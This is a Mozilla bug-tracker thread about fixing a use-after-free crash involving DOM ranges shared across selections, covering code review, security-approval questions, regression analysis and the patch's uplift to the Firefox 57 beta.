Comment on attachment 8909329 [details] [diff] [review] Prevent dom ranges from positioning on elements from a different document when part of a selection. r=mats, with a few nits: >- static nsINode* ComputeRootNode(nsINode* aNode) >- { >- return ComputeRootNode(aNode, false); >- } ... >- static nsINode* ComputeRootNode(nsINode* aNode, >- bool aMaySpanAnonymousSubtrees); Please keep these two methods as is. The reason is that we don't want to expose the aMaySpanAnonymousSubtrees param in the public API (since it's a thing we want to get rid of eventually and thus don't want to enable new consumers to depend on it). Please add the following comment above the second declaration: // This signature is intentionally non-public to avoid adding // new code that depends on the "MaySpanAnonymousSubtrees" concept, // which we want to remove eventually. >+ inline nsINode* ComputeNewRootNode(nsINode* aNode) const >+ { >+ return ComputeRootNode(aNode, mMaySpanAnonymousSubtrees); >+ } Please move this method up a bit so that it's after the other ComputeNewRootNode declaration, and move the non-public ComputeRootNode after those two. Also, it would be nice if you could document what the two-param ComputeNewRootNode method does (at least). In particular, point out that for ranges that are in a Selection, it rejects nodes that are not in the same document as that Selection. And that it's this method that should be called from methods that are entry points for JS methods since we want that check there. (The ComputeRootNode/ComputeNewRootNode naming seems slightly confusing to me, although I don't have any better suggestions.)
Comment 14•7 years ago
|
||
This is a regression from bug 1395701 so I don't expect 52 is affected. Do the new sanity checks on selection basically implement http://w3c.github.io/selection-api/#widl-Selection-addRange-void-Range-range step 1, or some other sanity-check?
Comment 15•7 years ago
|
||
Ah, those sanity checks (which we already do) won't help, because we're repositioning the range to be in a new document. We should probably file some spec issues here, once we land the fix. Cătălin, thank you for picking this up! Should probably add some crashtests too.
Assignee | ||
Comment 16•7 years ago
|
||
Assignee | ||
Updated•7 years ago
|
Assignee | ||
Comment 17•7 years ago
|
||
Assignee | ||
Comment 18•7 years ago
|
||
Assignee | ||
Updated•7 years ago
|
Assignee | ||
Comment 19•7 years ago
|
||
Assignee | ||
Updated•7 years ago
|
Assignee | ||
Comment 20•7 years ago
|
||
Comment on attachment 8910277 [details] [diff] [review] Avoid adding the same range to multiple selections. [Security approval request comment] How easily could an exploit be constructed based on the patch? It's not obvious this fixes a crash without knowledge of the ownership relation between Selection and nsRange. Also, it needs specific gc. Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? This should be landed with a different bug number, otherwise the commit message is fine. Which older supported branches are affected by this flaw? If not all supported branches, which bug introduced the flaw? Comment #14 suggests this was introduced in 57 by bug 1395701. I will need to check this. Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? How likely is this patch to cause regressions; how much testing does it need? Unlikely to cause regressions.
Assignee | ||
Comment 21•7 years ago
|
||
Comment on attachment 8910267 [details] [diff] [review] Prevent dom ranges from positioning on elements from a different document when part of a selection. Do you think we should land this patch in an open bug? The reasons would be that it changes web api behaviour and the other patch also prevents the UAF.
Comment 22•7 years ago
|
||
(In reply to Cătălin Badea (:catalinb) from comment #21) > Do you think we should land this patch in an open bug? Sure, I think that's a good idea to avoid drawing attention to this change.
Comment 23•7 years ago
|
||
Comment on attachment 8910267 [details] [diff] [review] Prevent dom ranges from positioning on elements from a different document when part of a selection. >+ // *silently* reject root nodes different then that of the current selection It should be "different than that" there I think (a instead of e).
Comment 24•7 years ago
|
||
(In reply to Cătălin Badea (:catalinb) from comment #20) > Which older supported branches are affected by this flaw? > If not all supported branches, which bug introduced the flaw? > Comment #14 suggests this was introduced in 57 by bug 1395701. > I will need to check this. I'll need to know the answer before this can get sec-approval to land. We need to know how far back the bug goes.
Updated•7 years ago
|
Comment 25•7 years ago
|
||
For what it's worth, I'm pretty sure this is a regression from bug 1395701. See bug 1400179 comment 6 for an analysis of what used to happen before that patch in this situation, and it should not have led to UAF.
Assignee | ||
Comment 26•7 years ago
|
||
(In reply to Al Billings [:abillings] from comment #24) > (In reply to Cătălin Badea (:catalinb) from comment #20) > > > Which older supported branches are affected by this flaw? > > If not all supported branches, which bug introduced the flaw? > > Comment #14 suggests this was introduced in 57 by bug 1395701. > > I will need to check this. > > > I'll need to know the answer before this can get sec-approval to land. We > need to know how far back the bug goes. I couldn't reproduce the asan crash before bug 1395701, which confirms bz's analysis.
Comment 27•7 years ago
|
||
bug 1395701 landed in 57.
Assignee | ||
Updated•7 years ago
|
Assignee | ||
Comment 28•7 years ago
|
||
:abillings, could you please give the security approval now?
Comment 29•7 years ago
|
||
You don't need sec-approval for trunk-only issues, as I understand. So this could have landed without sec-approval to start with. That said, I don't know what the status is of this bug at this point, since 57 is branching today so it might now not be trunk-only anymore. :(
Comment 30•7 years ago
|
||
The branch date for 57 was yesterday. It needs sec-approval and an uplift request for Beta now.
Comment 31•7 years ago
|
||
Comment on attachment 8910277 [details] [diff] [review] Avoid adding the same range to multiple selections. sec-approval+ for trunk. Please also nominate a patch for Beta (57) to land after trunk is green.
Assignee | ||
Updated•7 years ago
|
Comment 32•7 years ago
|
||
Comment on attachment 8910267 [details] [diff] [review] Prevent dom ranges from positioning on elements from a different document when part of a selection. Per comment 21, this patch is going into a different bug.
Comment 33•7 years ago
|
||
https://hg.mozilla.org/integration/mozilla-inbound/rev/c3b24ef4281035ee00e09b3386fcbf2d672775c4
Assignee | ||
Comment 34•7 years ago
|
||
Comment on attachment 8910277 [details] [diff] [review] Avoid adding the same range to multiple selections. Approval Request Comment [Feature/Bug causing the regression]: dom ranges [User impact if declined]: Crash/potential exploit [Is this code covered by automated tests?]: No. I will add the test case as a crashtest once this gets uplifted. [Has the fix been verified in Nightly?]: Yes. [Needs manual test from QE? If yes, steps to reproduce]: No. [List of other uplifts needed for the feature/fix]: No. [Is the change risky?]: [Why is the change risky/not risky?]: Not risky, it's a very simple change. [String changes made/needed]: None.
Comment 35•7 years ago
|
||
https://hg.mozilla.org/mozilla-central/rev/c3b24ef42810
Comment 36•7 years ago
|
||
Comment on attachment 8910277 [details] [diff] [review] Avoid adding the same range to multiple selections. Fix a sec-high, taking it
Updated•7 years ago
|
Comment 37•7 years ago
|
||
uplift |
https://hg.mozilla.org/releases/mozilla-beta/rev/3cfa5cf991a1
Updated•7 years ago
|
Updated•6 years ago
|
Updated•6 years ago
|
Updated•6 years ago
|
(In reply to Cătălin Badea (:catalinb) from comment #34)
Comment on attachment 8910277 [details] [diff] [review]
Avoid adding the same range to multiple selections.Approval Request Comment
[Feature/Bug causing the regression]:
dom ranges
[User impact if declined]:
Crash/potential exploit
[Is this code covered by automated tests?]:
No. I will add the test case as a crashtest once this gets uplifted.
It seems this never happened.
[Is the change risky?]:
[Why is the change risky/not risky?]:
Not risky, it's a very simple change.
[String changes made/needed]:
None.
Updated•3 years ago
|
With :catalinb's test-case attached to this ticket I couldn't reproduce hitting https://searchfox.org/mozilla-central/rev/d58860eb739af613774c942c3bb61754123e449b/dom/base/nsRange.cpp#965,975, so I wonder whether this fallback is still necessary.
Description
•